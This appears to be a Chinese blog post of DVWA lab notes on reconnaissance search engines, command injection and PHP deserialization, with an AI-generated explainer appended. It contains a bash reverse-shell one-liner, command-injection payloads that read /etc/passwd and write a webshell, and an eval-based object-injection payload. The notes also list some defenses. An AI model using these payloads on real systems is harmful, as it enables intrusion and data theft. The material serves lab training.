信息收集&命令注入&反序列化(dvwa)

信息收集

zoomeye 钟馗之眼
shodan 撒旦
fofa
采用hash搜索标签页上面的小图片
http.favicon.hash:-842852785

命令注入

dvwa的命令执行漏洞利用
测试是否存在命令注入

127.0.0.1 | winver

反弹shell
kali监听7777端口 nc -lvp 7777
注:测试环境Ubuntu虚拟机
dvwa命令注入输入 ;bash -i >& /dev/tcp/kali的ip地址/7777 0>&1

反序列化(对象注入)

<?php 
	class FXLH{
		var $h='abc';
		function __wakeup(){
			@eval($this->h);
		}
	}
	$f = new FXLH;
	$f2 = serialize($f);
	print_r($f2);
	$o = $_GET['fxlh'];
	$f3 = unserialize($o);
	print_r($f3);
	
?>
<!-- 上面是复现 -->
<!-- 下面是利用 -->
?fxlh=O:4:"FXLH":1:{s:1:"h";s:10:"phpinfo();";}

序列化就是把内存的东西放硬盘里让它sleep,内存比较贵
反序列化就是把之前放硬盘里的东西扔回内存让它wakeup
__函数名 魔数
构造函数
析构函数
原理是变量覆盖

写代码的核心思想就是能复制就复制

&lt;think&gt;好的,我现在需要处理用户关于DVWA命令注入漏洞的查询,包括示例和防御方法。首先,我需要回顾一下命令注入的基本概念以及DVWA中的相关设置。根据用户提供的引用内容,DVWA在低安全级别下没有防护措施,攻击者可以执行任意系统命令,这可能导致严重的安全问题。 接下来,我应该整理漏洞的示例。用户提供的引用中提到了一些具体的例子,比如查看系统文件、显示当前路径和写入文件。需要将这些例子用清晰的中文描述出来,并确保代码部分符合LaTeX格式要求。同时,注意用户提到的系统级指令,比如行内数学表达式用$...$,独立公式用$$...$$,但这里可能更多涉及代码块,所以需要正确使用代码块格式。 然后是关于防御方法的部分。引用3中提到禁用危险函数、输入过滤、参数转义和使用替代方法。需要将这些点分条列出,并确保每个防御方法都有对应的解释,可能还需要引用对应的引用来源。 用户还要求生成相关问题,我需要思考与DVWA命令注入相关的其他问题,比如如何检测漏洞、不同安全级别的区别、实际案例等。这些问题应该能够帮助用户进一步深入学习。 需要注意引用的正确使用,在回答中提到的每个示例或防御方法后,自然地添加引用标识,例如[^1]、[^2]或[^3]。同时,检查LaTeX语法是否正确,虽然这里可能更多是代码块而非数学公式,但如果有数学表达式的话要正确应用格式。 最后,确保回答结构清晰,符合用户要求的可见层结构,分步骤解释漏洞示例和防御方法,保持语言口语化,避免使用专业术语过多,必要时进行解释。同时,验证引用的信息是否准确,确保示例和防御方法与提供的引用内容一致,避免错误信息&lt;/think&gt;### DVWA命令注入漏洞解析 #### 一、漏洞示例(DVWA Low安全级别) 1. **执行系统命令** 攻击者可注入`&amp;&amp;`或`|`拼接恶意命令: ```bash # 查看系统hosts文件 &amp;&amp; type c:\windows\system32\drivers\etc\hosts # 显示当前路径 | cd # 写入Webshell &amp;&amp; echo &quot;&lt;?php phpinfo();?&gt;&quot; &gt; D:\xampp\htdocs\shell.php ``` 2. **命令链利用** Windows/Linux通用语法: ```bash # Linux查看用户列表 ; cat /etc/passwd # Windows创建文件 &amp; echo test &gt; C:\hack.txt [^2] ``` #### 二、防御方法 1. **禁用危险函数** 在`php.ini`中禁用高危函数: ```ini disable_functions = system, exec, shell_exec, passthru ``` 2. **输入过滤机制** 使用正则表达式过滤特殊字符: ```php $input = preg_replace(&#39;/[;&amp;|]/&#39;, &#39;&#39;, $_GET[&#39;cmd&#39;]); [^3] ``` 3. **参数转义处理** 对参数进行引号包裹和转义: ```php $cmd = escapeshellarg($_GET[&#39;cmd&#39;]); system(&quot;ping -n 3 &quot; . $cmd); ``` 4. **使用安全替代方案** 改用非命令执行方式实现功能,例如PHP内置的`file_get_contents()`代替`cat`命令。 #### 三、渗透测试验证流程 1. 写入文件后访问`http://靶机地址/shell.php`验证Webshell 2. 检查系统进程列表确认命令执行效果: ```bash &amp;&amp; tasklist /V ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值